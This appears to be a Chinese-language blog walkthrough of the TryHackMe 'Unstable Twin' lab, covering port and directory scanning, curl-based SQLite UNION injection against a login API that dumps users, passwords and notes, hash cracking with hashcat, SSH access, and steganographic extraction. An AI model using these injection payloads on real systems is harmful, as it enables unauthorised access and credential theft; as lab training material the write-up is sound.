Unstable Twin - TryHackMe

Unstable Twin

一、信息收集

使用nmap对网站ip的开放端口进行扫描

nmap -sS -sV -A  -Pn 10.10.187.113 

image-20250914205915169

开放了22端口和80端口

使用dirsearch扫描一下看看还有没有其他目录

dirsearch -u http://10.10.187.113  -e php,html,txt -t 100

image-20250914210231318

这里我访问网站网站显示一片空白课,我以为是我哪里出错,后面看了wp发现这里要对API的目录进行爆破

dirsearch -u http://10.10.187.113/api  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -t 100 

发现在api下面有个登录页面 login 但该 URL 不允许你当前使用的 HTTP 方法

HTTP方法不对

  • 默认浏览器使用 GET 请求

  • 但是接口只允许 POST,所以返回 405 Method Not Allowed

API 不是普通网页

  • 你访问的是一个 RESTful API 接口,不是 HTML 登录页面
  • 浏览器直接访问通常会报错,而 curl 可以用 -X POST 正确调用接口

image-20250914212234217

这里我们使用curl看看服务器响应

curl 是一个非常常用的命令行工具,用于在终端或脚本中发送 HTTP/HTTPS 请求以及其他协议请求(FTP、SMTP、SFTP 等),并获取服务器响应。

curl -v http://10.10.187.113/info

这里我发现一半时间我们的版本是 1.3.4-dev ,一半时间我们的 版本是1.3.6-final ,服务器名称是也是一样 VincentJulias

image-20250914214507200

二、渗透利用

我们尝试对login用弱口令登录一下

image-20250914214643892

我们将POST 数据格式传输的命令格式改为json格式

curl -v -X POST 'http://10.10.187.113/api/login'  -d '{"username":"admin","password":"admin"}'

image-20250914215332123

成功与服务器获得交互,并且报错了,我,们看看这里数据库有没有sql注入

curl  -X POST 'http://10.10.213.54/api/login'  -d {"username":"admin' OR '1'='1","password":"x"} 

这里发现一个很有意思的情况,我输入命令的时候一半是有结果的一半是没有结果的,可能跟前面服务器不同有关系

image-20250915120858267

这当我们输入测试语句后也是成功和数据库进行交互了 这样我们可以在这里进行手工测试发现数据库了是SQLite的

curl -X POST 'http://10.10.213.54/api/login'  -d "username=admin&password=admin'UNION SELECT 1,sqlite_version()--"

在SQLite里面没有database的概念只有文件名,我们直接查表名就行了

获取所有表名(拼接成一行)

curl -i -X POST 'http://10.10.213.54/api/login' \                                                        ✔ 
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data "username=admin' UNION SELECT 1,(SELECT group_concat(name,',') FROM sqlite_master WHERE type='table')--&password=x"

image-20250915124524243

获取列名

curl -i -X POST 'http://10.10.213.54/api/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data "username=admin' UNION SELECT 1,(SELECT group_concat(name,',') FROM pragma_table_info('users'))--&password=x"

image-20250915124626762

获取用户/密码

curl -i -X POST 'http://10.10.213.54/api/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data "username=admin' UNION SELECT 1,(SELECT group_concat(username||':'||password,',') FROM users)--&password=x"

image-20250915131133837

刚刚在看表名的时候还有一个notes的表看看里面有什么东西

curl -i -X POST 'http://10.10.213.54/api/login' \                                                        ✔ 
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data "username=admin' UNION SELECT 1,(SELECT group_concat(name,',') FROM pragma_table_info('notes'))--&password=x"

image-20250915125545609

查询密码

curl -i -X POST 'http://10.10.213.54/api/login' \                                                        ✔ 
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data "username=admin' UNION SELECT 1,(SELECT group_concat(user_id||':'||note_sql||':'||notes,',') FROM notes)--&password=x"

image-20250915125915857

三、哈希爆破

这里给了一段密码

eaf0651dabef9c7de8a70843030924d335a2a8ff5fd1b13c4cb099e66efe25ecaa607c4b7dd99c43b0c01af669c90fd6a14933422cf984324f645b84427343f4

这里我们使用haiti识别一下这段密码

image-20250915130559727

发现这里是用SHA512加密过多 我们使用hashcat对这段密文进行爆破

image-20250915130833963

得到破译后的密码 experiment

image-20250915130901719

我们使用ssh登录,mary_ann 因为上面测试出来只有这个用户的密码没有出来

image-20250915131235826

拿到user.flag

image-20250915131410029

四、隐写术

这里给了我们一段提示已经找到了靶场里的 notes 表或笔记信息你需要获取每个人的图片(image)除了找到所有家人的图片,还要找到自己的图片
我们需要找到这些图片 看了太麻烦了看了一眼wp 这些图片藏在/opt下面

image-20250915132921470

这我看了wp 反正我使用scp打包文件再使用kali下载 和开启http服务都不能下载图片 在wp里面写着还有一个隐藏的目录/get_image 可以通过字典扫描出来,我们通过这个目录下载这些图片

names=("Arnold-Schwarzenegger" "Danny-DeVito" "Bonnie-Bartlett" "Kelly-Preston" "Chloe-Webb")
for name in "${names[@]}"; do
    curl -o "${name}.jpg" "http://10.10.213.54/get_image?name=${name}" 
done

image-20250915135928132

如果这个用不了就老实一个一个下载吧

wget http://10.10.213.54/get_image\?name\=mary_ann 
wget http://10.10.213.54/get_image\?name\=julias
wget http://10.10.213.54/get_image\?name\=linda         
wget http://10.10.213.54/get_image\?name\=marnie  
wget http://10.10.213.54/get_image\?name\=vincent 

我们使用setghide对里面的文件逐一提取

image-20250915142454163

image-20250915143001842

在数据库注入那会每个姓名对应一种颜色 这里提示让我们根据彩虹颜色顺序来进行排列

image-20250915142805010

Red - 1DVsdb2uEE0k5HK4GAIZ
Orange - PS0Mby2jomUKLjvQ4OSw
Yellow - jKLNAAeCdl2J8BCRuXVX
Green - eVYvs6J6HKpZWPG8pfeHoNG1 
组合一下就是:1DVsdb2uEE0k5HK4GAIZPS0Mby2jomUKLjvQ4OSwjKLNAAeCdl2J8BCRuXVXeVYvs6J6HKpZWPG8pfeHoNG1 

image-20250915143105914

这是一段base62编码 拿去厨房解码一下https://gchq.github.io/CyberChef

image-20250915144929615

最后:不知道是我的问题还是这个靶场的问题 这个靶场的wp我写了很久,有很多奇怪的问题太难受了

posted @ 2025-09-15 14:53  0xMouise  阅读(24)  评论(0)    收藏  举报